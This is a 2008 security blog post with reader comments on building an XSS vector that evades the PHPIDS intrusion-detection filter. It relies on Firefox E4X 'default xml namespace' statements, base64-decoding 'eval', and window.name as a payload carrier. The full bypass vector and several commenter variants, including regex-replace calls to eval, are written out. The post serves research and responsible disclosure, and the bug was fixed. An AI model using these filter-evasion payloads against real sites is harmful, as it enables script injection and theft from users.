XSS is art
Thursday, 11 September 2008
I had a bet with a friend of mine David Lindsey aka Thornmaker. Basically we said the first one to get a XSS vector on phpids buys a beer at Bluehat π I haven’t had much time to do this because I’ve been pretty busy but over the last few days in my spare time I’ve been slowly constructing a vector. David you owe me a beer π
What is interesting about phpids is that it includes a centrifuge detection system which compares past vectors and known good inputs which enables them to detect future attacks that slip past their regular expressions. The system has greatly improved since the early days and I actually had a ton of XSS vectors which got past their expressions but not centrifuge.
So in my crazy world of XSS how can you bypass a protection like this? Well in Firefox there’s a E4X statement which I posted previously that doesn’t look like javascript syntax. e.g. :-
default xml namespace = statement
Using this method I managed to construct my vector which used this to bypass centrifuge but I had a problem, how to first get a payload and how to call that payload. Why is that a problem? Because phpids checks common injections like eval, alert etc.
I decided to try various different tricks using “this” which refers to the current window in javascript when executing from a script tag in Firefox. The methods I used worked well but the centrifuge detection was triggered when using “+” to concatenate strings.
Simple calls to ‘abc’.concat(‘def’) were blocked quite easily so I needed another method. Using a && trick to bypass some of their regular expressions it was possible to call a global function by assigning it to a variable:-
default xml namespace=toolbar,b=1&&this.atob
So the default xml namespace bypasses centrifuge and the variable b is assigned to the atob function in Firefox. This is because in javascript the right side of the statement is returned not 1 when using && in this context. I could get the string eval by converting base64 and convert the string to a function using the techniques described.
All I needed now was the payload and that was obtained using the 1&& method but this time using window.name:-
default xml namespace=toolbar,y=1&&name
I had all the raw ingredients now to finish my vector which produced the final vector that looks like a work of art to me π
default xml namespace=toolbar,b=1&&this.atob
default xml namespace=toolbar,e2=b('ZXZhbA')
default xml namespace=toolbar,e=this[toolbar,e2]
default xml namespace=toolbar,y=1&&name
default xml namespace=toolbar
default xml namespace=e(y)
No. 1 — September 11th, 2008 at 11:07 pm
haha, yeah, you win. I owe you a beer at blue hat π
here’s a slight variation of a vector we discussed earlier, that I got working thanks to your “default xml” trick. i hope .mario is following this thread!
No. 2 — September 11th, 2008 at 11:08 pm
default xml namespace=toolbar,x=’loca’
default xml namespace=toolbar,this[x+’tion’]=name
No. 3 — September 12th, 2008 at 5:32 am
That’s pretty damn good, I tried to inject strings using + but I always hit the centrifuge. Nice1!
No. 4 — September 12th, 2008 at 11:09 am
This has now been fixed, the final payload can be viewed here:-
http://www.businessinfo.co.uk/labs/phpids/phpids3.html
No. 5 — September 12th, 2008 at 3:06 pm
first, i bow before your javascript ninja skills. =)
When I run the script in firefox, nothing happens, so I’m trying to figure out what the script should do…
ok, line 1 assigns b to the function atob
line 2 assigns e2 to atob ‘ZXZhba’ which decoded evaluates to ‘eval’
line 3 assigns e to the native function eval
those i understand. It’s lines 4 and 5 that throw me off. I understand that you are assigning y to name, which we will eval at line 6. But what is ‘name’, and what is the purpose of line 5?
No. 6 — September 12th, 2008 at 3:41 pm
@Gilzow
π thanks
I didn’t include the actual payload until later which uses window.name. It can be passed from site to site so it’s a good way of passing a XSS payload.
Line 5 does nothing it is there to get round phpids centrifuge detection. Centrifuge detects vectors when they look like previous ones. The toolbar reference is window.toolbar in Firefox and is used to again bypass centrifuge, any global object/function can be called on one line like this.
Look at comment 4 to see how window.name can be passed as a payload.
No. 7 — September 12th, 2008 at 5:01 pm
ok, i see now where name comes into play, but the link to the payload, in firefox, doesnt fire off the alert. So i’m still a bit confused…
No. 8 — September 12th, 2008 at 6:25 pm
Yeah that’s because Mario already fixed it π
Here’s a demo of how it did work:-
demo
No. 9 — September 12th, 2008 at 8:59 pm
ok, NOW it makes more sense. I noticed that the smoke-screen was saying that it had detected an injection. Thanks for the clarification.
*Very* interesting stuff that you are coming up with. Let’s hope the REAL bad guys are two steps behind you.
No. 10 — September 12th, 2008 at 10:10 pm
Oh, you tricky, tricky man.
XSS is art, and in this case is certainly beauty as well π
No. 11 — September 15th, 2008 at 2:09 pm
i think xss it’s art too :xD
No. 12 — September 24th, 2008 at 11:09 am
XSS… it really is an art…
I agree π
No. 13 — September 30th, 2008 at 11:10 pm
The opera trick you showed me earlier today also works in FF3 provided you use eval:
‘xalert(0)x’.replace(/a……./,eval)
No. 14 — October 1st, 2008 at 7:07 am
Nice! π
Can be shortened too
‘xalert(0)x’.replace(/[^x]+/,eval)
No. 15 — October 2nd, 2008 at 12:22 am
true, but i liked the string of dots for aesthetic reasons. i’ve looked around for some other built in functions that work like this but haven’t found anything yet. you?